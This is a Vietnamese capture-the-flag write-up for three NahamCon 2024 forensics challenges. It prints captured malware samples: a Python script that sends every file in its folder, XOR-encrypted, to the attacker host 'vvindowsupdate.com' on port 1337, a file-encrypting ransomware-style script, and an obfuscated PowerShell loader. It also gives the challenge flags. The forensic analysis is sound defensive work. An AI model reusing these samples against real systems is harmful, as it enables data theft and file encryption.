---
# System prepended metadata

title: nahamcon_CTF-2024
tags: ['@write-up']

---

# 1337 Malware
![Screenshot 2024-05-26 184200](https://hackmd.io/_uploads/BkoElieN0.png)
**Giải pháp:**
* Theo như mô tả của bài , mình mở wireshark lên xem thì thấy victim đang tải xuống 1 file code python độc hại từ sever của attacker
![Screenshot 2024-05-26 184858](https://hackmd.io/_uploads/HJ-g7sxVC.png)
Sau khi victim tải xuống và chạy file thử thì ta thấy ở giao thức `TCP` đang thực hiện cờ `PSH/Ack` push dữ liệu của victim về sever của attacker 
* Bây giờ mình sẽ lấy file .py về phân tích hành vi:
```python=1
import socket
import base64
import os
from random import randbytes
from pwn import xor

# DON'T FORGET TO CHANGE THIS TO THE REAL KEY!!!!
key = randbytes(32)

def encrypt(filename):
    f = open(filename, 'rb')
    data = f.read()
    f.close()
   
    encrypted = xor(data, key)
    return encrypted

def send_encrypted(filename):
    print(f'sending {filename}')
    data = encrypt(filename)
    
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect(('vvindowsupdate.com', 1337))
    s.sendall((f'Sending: {filename}').encode())
    s.close()

    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect(('vvindowsupdate.com', 1337))
    s.sendall(data)
    s.close()

def get_all_files():
    file_paths = []
    for root, dirs, files in os.walk(os.path.dirname(os.path.realpath(__file__))):
        for file in files:
            file_paths.append(os.path.join(root, file))
    file_paths.remove(__file__)      
    return file_paths

files = get_all_files()
for f in files:
    send_encrypted(f)
    #os.remove(f)
```
Phân tích:
* Đại khái là:
  -  Lặp qua các file trong thư mục của victim rồi đẩy vào hàm `send_encrypted()` rồi tiến hành mã hóa trong hàm `encrypt()` tiến hành xor data của file với 1 key ngẫu nhiêu 32 byte
  -  Tiến hành gửi đi đường dẫn tên file và data bị mã hóa tương ứng với file đó.
* Ban đầu thì mình dự tính bruteforce cái key nhưng mà thấy không khả quan lắm, mình nhận thấy điều thú vị để có thể tìm key 1 cách dễ dàng
![Screenshot 2024-05-26 192812](https://hackmd.io/_uploads/HkWlsjg40.png)
* Đây chính là tệp khóa riêng được sử dụng trong SSH (Secure Shell) để xác thực người dùng với máy chủ từ xa
* Tệp id_rsa thường ở định dạng PEM (Thư nâng cao quyền riêng tư), là định dạng được mã hóa base64 được bao quanh bởi -----BEGIN OPENSSH PRIVATE KEY----- và -----END OPENSSH PRIVATE KEY ----- dòng
* Nên ý tưởng của mình bây giờ sẽ lấy data của file id_rsa xor với định dạng luôn có trong file là `-----BEGIN OPENSSH PRIVATE KEY-----` 
* Dưới đây là đoạn script lấy key:
```python=1
from pwn import xor

format = b"-----BEGIN OPENSSH PRIVATE KEY-----"
data_enc = "afef7e7da6970900eeab4da38833fb85f76fe6155b4224a0ed341369bbb87474afef7e5ae9e60e2bc58b2396b93584a4fe7fad316d6137a0f8307263bca66c2fe0af0611ca940d02c58854998227f497e5668704484a33a3f830726092961818c383372ae8e72b33c48b67a2b037f497e566b100484a23a0f8306a67bf99681ab38f6a1effaf7e0c96842ebf8b40d080d37ea110435824a6cf28031686ca680eda946b29dcad191defb400a2e91dfee3972daf775a42278a9224470d86d42117ebb41c33d299023ff68d21839b1bc39fe77eb73d262441afec167154cf830c3fcdf5352ac7803876ceb4178aee4281b3954fe9137d5a348ab3205a6d95857635d2883629fca10b06e5974685b60fd3a0d57fae3c3d5e01b1f80276169885292eb7862563d9800600caae14a5950f818cec70f335444a0797f7276b5b9bb92c53c5f62a1ddaa72210909d0399a01dc5a5c8669e334f3c3da8961f59518ca06d31c0872434dba47b31ebbc5bbf9024efb9e55fa03c674735b1c13c627088a20b1ec79b301fbafe461de69f19a2b007ccb0d7408075516547a9c8175f66cd853c2ee7bb353cb9e42f32f5d109868835e492e96883234b794088fb074657d1a26b16d1b41503c9ac3826fd9f01a4ec7cd0e7d312f40c437a40a5f71d50738a8e2e28f6ab1005ffb17973ead628aeb704"
data_b = bytes.fromhex(data_enc)
key = xor(data_b, format * (len(data_b) // len(format) + 1))
hex_key = key[:32].hex()
print(hex_key)
```
key = `82c253508bd54c47a7e56decd876b5d6a427c645090b72e1b9713322fee15959`
* Bây giờ tiến hành đi giải mã các file đã mã hóa thôi: 
  - Ta thấy 1 file zip và 1 file .pdf khả nghi, mình sẽ tiến hành giải mã thôi:
![Screenshot 2024-05-26 194642](https://hackmd.io/_uploads/By1L13lER.png)
![Screenshot 2024-05-26 194652](https://hackmd.io/_uploads/S1d8J2gEC.png)
* File khi giải mã:
![Screenshot 2024-05-26 194852](https://hackmd.io/_uploads/ryPT13gE0.png)
Ta có thể thấy có 1 file chứa flag đang bị nén, mở ra thì yêu cầu mật khẩu
* Mình check thì thấy password trong file pdf và sau khi giải mã có được:
![Screenshot 2024-05-26 195303](https://hackmd.io/_uploads/rJVaenxNA.png)

Tiến hành mở ra và lấy flag thôi:

**Flag:** `flag{c95c4ff18b0eb88123de779051a7a24f}`

# Taking Up Residence
![Screenshot 2024-05-26 195643](https://hackmd.io/_uploads/rk1s-3eN0.png)
**Giải pháp:**
* Bài này cung cấp cho mình 1 file và dùng lệnh `file` check nhưng không rõ định dạng là gì:
![Screenshot 2024-05-26 195949](https://hackmd.io/_uploads/SyWdM3eN0.png)
* Sau một hồi vọc vạnh trên gg thì biết được đây chính là định dạng file $MFT, tìm hiểu thêm về loại file này:
  - Master File Table (MFT) MFT hoặc $MFT có thể được coi là một trong những tệp quan trọng nhất trong hệ thống tệp NTFS. Nó lưu giữ bản ghi của tất cả các tệp trong một ổ đĩa, vị trí của tệp trong thư mục, vị trí vật lý của tệp trên ổ đĩa và siêu dữ liệu của tệp.
* Mình sẽ dùng tool MFTECmd để chuyển file này sang dạng file excel để có thể check đường dẫn của 1 số file khả nghi cho dễ dàng:
* Tiến hành mở file excel(.csv) lên để xem:
  - Mình sẽ tìm kiếm keyword là flag xem có gì thú vị không:
  - ![Screenshot 2024-05-26 202002](https://hackmd.io/_uploads/B1IzPneEC.png)
  - Ta thấy có 1 file tên `flag.txt` rất khả nghi nên mình sẽ check xem đường dẫn đến file đó: `/Users/User/Dowloads/flag.txt`
* Bây giờ mình sẽ dùng tool `MFT explorer` vào đường dẫn trên xem có gì nào:
![Screenshot 2024-05-26 202609](https://hackmd.io/_uploads/HyYtdnl4C.png)
Đây là nội dung file flag.txt nhưng dường như nó đã bị mã hóa, ngay bên dưới có 1 file rasom.py trông rất khả nghi nên mình sẽ tiến hành lấy về xem sao:
```python=1
from cryptography.fernet import Fernet
import subprocess

key = subprocess.run(["powershell", "-EncodedCommand", "RwBlAHQALQBDAG8AbgB0AGUAbgB0ACAALQBQAGEAdABoACAAIgByAGEAbgBzAG8AbQAuAHAAeQAiACAALQBTAHQAcgBlAGEAbQAgACIAawBlAHkAIgA="], capture_output=True, text=True).stdout.strip()

print(key)
with open('flag.txt', 'r') as reader:
    message = reader.read()
f = Fernet(key)

encrypted_message = f.encrypt(message.encode())
print(encrypted_message)
with open('flag.txt', 'w') as writer:
    writer.write(encrypted_message.decode('ascii'))
```
Ta có thể thấy đây chính là source để mã hóa file `flag.txt`:
Vì attacker đã dùng lệnh print để in ra key nên mình dễ dàng lấy được, Đây là key:
![Screenshot 2024-05-26 203219](https://hackmd.io/_uploads/HyPx92lVC.png)
key = `62QJTO5dH0xaKgmiVfOFKNYCBMfRiNF5L7rxDChc0SU=`
* Bây giờ mình sẽ viết đoạn script bằng python để giải mã lấy flag thôi:
```python=1
from cryptography.fernet import Fernet

key = "62QJTO5dH0xaKgmiVfOFKNYCBMfRiNF5L7rxDChc0SU="

with open('flag_enc.txt', 'r') as reader:
    message = reader.read() #gAAAAABmS9s32v5Ju181EaJhh2vYMsR6MJ31SK-9mDwgiCz3_MBWopjqqynjoY_-HNOw3tX1T3RthBZHz9ylmyqckZ0gUZ_6T7UUxprMHoCAaTV3m1q0weznBg98RL7dRVhRn0cX6Xta
f = Fernet(key)

decrypted_message = f.decrypt(message.encode())

print(decrypted_message)
with open('flag.txt', 'w') as writer:
    writer.write(decrypted_message.decode()) 
```
**Flag:** `flag{a4096cd70d8859d38cf8e7487b4cd0fa}`

# LogJam
![Screenshot 2024-05-26 203753](https://hackmd.io/_uploads/rkrBshgVC.png)
* Đề cung cấp cho mình các file sau:
![Screenshot 2024-05-27 191919](https://hackmd.io/_uploads/r1aP5xMV0.png)
Theo như mô tả:
* Ý tưởng mình sẽ phân tích xem trong file shortcut có gì từ đó => check các log có liên quan
* ![Screenshot 2024-05-27 193454](https://hackmd.io/_uploads/rJHW0lMV0.png)
Hành vi của đoạn mã trên đang tải xuống file `not-malware.zip` mã độc kia và tiến hành thực thi => từ đây mình sẽ check log `Application.evtx` vì log này chịu trách nhiệm ghi lại các hành vi của phần mềm hành vi ứng dụng của người dùng
* Mình sẽ tìm keyword `zip` để xem có gì đặc biệt không:
![Screenshot 2024-05-27 194339](https://hackmd.io/_uploads/ryC-l-GVC.png)
Mình sẽ tiến hành lấy đoạn data này về decode xem, kết quả:
```
$u7fInY =  [ChAr[]]")''nIOj-]2,11,3[eman.)'*Rdm*' elBAirav-TEg(( & |)93]rAhC[]gNIRTS[,)201]rAhC[+17]rAhC[+68]rAhC[((EcALper.)') (DnEOTdAEr.))iicsa::]gNIdoCNe.TxEt.mETSy'+'s[ , )'+')SsERpMocED::]eDOMNoISSerpMoC.NoIsSERpMOc.OI.metSYs'+'[ ,)'+'fGV=8w+2IX2i/'+'/Px+D1LdDdvgDHx0Da4rfSsissVDjqZXrXd'+'HwwgIMdd+b+'+'I2j3r4jNeKTYFX+H++mnP4L0u3sNsvJHmeAOLH88T030M0luhBzBIGCuwoZX7yZRbnbg7a174PITGc5Xlip/D/z6U5VZ7nO/APBWvIZYNhddwKDsG8A76A7fMef8'+'O6vMfncgC'+'i9gHHfQvjxq+y8Jibd+F+TdgqtK4HCOVjZg78/6RRhjg1A0YH4JIefd/ELkohlDo5GUdwKfiuZIDNFSfsr8Es9Z/T2gyyfY5K59mZ0WF/1ml58psO1MvbfWNxoNhpmDHyan05Am2y4XQm//iSEFVfHZE/Of8jPgvEPIfJ+ZwmLGNeVCUB3hMKc5n7cP713kzRx/a39WSVYB/eBqlcdk2QOQU30/PDdp9Yi3U3QRh8wg+eZu/T2XcjtA'+'3GZQ3AVQTpO6Zr2kvCRgKgVTrN7PANZe/RDBc+V8'+'EjJZgKCETT7pFpgWzmaCxrwq82DXSNNZ/FRZM'+'qDiCq2BulaQdboWAoa'+'H'+'n0EU9UD6QhrFOQRuu1yhr3lTRPcr5sjY428n3s/t5654O/iFOrvgegJUQFKfZ7RuYAQR1BPRah/TkpwdQwP7Z'+'D5HQ3rE'+'Gx'+'/KAZNGHAU9KCJBiglGYLkiq1xTF/iLXu0+kCybeHaht2u/syq0zKjeMn5vOIbvy+6mrt7/8qlTcm1'+'2CK1tomnNAb+cX6slpda2cm/tkFZfVajP/QGBalShL+o8ue/TBDiD9a+Nkx/V26O7cjU5Zx+9HW2'+'ie3y'+'FSiXK6C8TtKxk'+'T4E9fMU'+'KJgINRh32uWVr'+'JX'+'Lhyi2PAIkQJCiN1WUEqAFe/uljU8JPr4JbIqfDigSdZRClCUCfpHCrhUZY'+'4hy4ESnjVAtifBUTb/cgjdQmu/jWin+B2Wb54'+'PMHg8Oys'+'qv+'+'/Xbsn'+'67Hi5E3HcGbT78ftpLhAhuWQ7I0eCVg5pGNwVsJeiDejH/vXdKhUUdJcKbLa/Yx8mMFRqW5Wp1QhzszU2XlUqM7npZVGzssm55b4c2B5IB'+'QRZXnOiEzv/r5inQulI3WaFL0iX'+'Ij2JQ7cxOS1PXdLOEViOIqKYo93AXID8PQ+2PE4'+'s'+'9bpRVffGV (G'+'N'+'I'+'Rts46esa'+'BMOrF::]TrevNoC[]MAERTsYrOmeM.Oi'+'.meTsys[(mAErtseTALFed.nO'+'ISsErPmOc.oi.mETSy'+'s  tcEjBO-weN ( (REdAerMaeRtS.oi.meTsy'+'S  tcEjBO-weN ( nOIssERpXE-eKOVNi'("; [arRaY]::reverSe( (  VArIABle ('U7'+'fINY') -vA) );.( $VerbOSeprEfERencE.tOSTRing()[1,3]+'x'-JoiN'')( -JoIN(  VArIABle ('U7'+'fINY') -vA) ) 
```
* Có vẻ đoạn powershell này đã bị obj mình sẽ dùng tool powerdecode để deobj nó lại:
![Screenshot 2024-05-27 195107](https://hackmd.io/_uploads/Hy0T-Wz4R.png)
Được 1 đoạn plaintext mã hóa base64 => đem decode lấy được flag

**Flag:** `flag{ca8c288d1395689577287ba3bf2649ad}`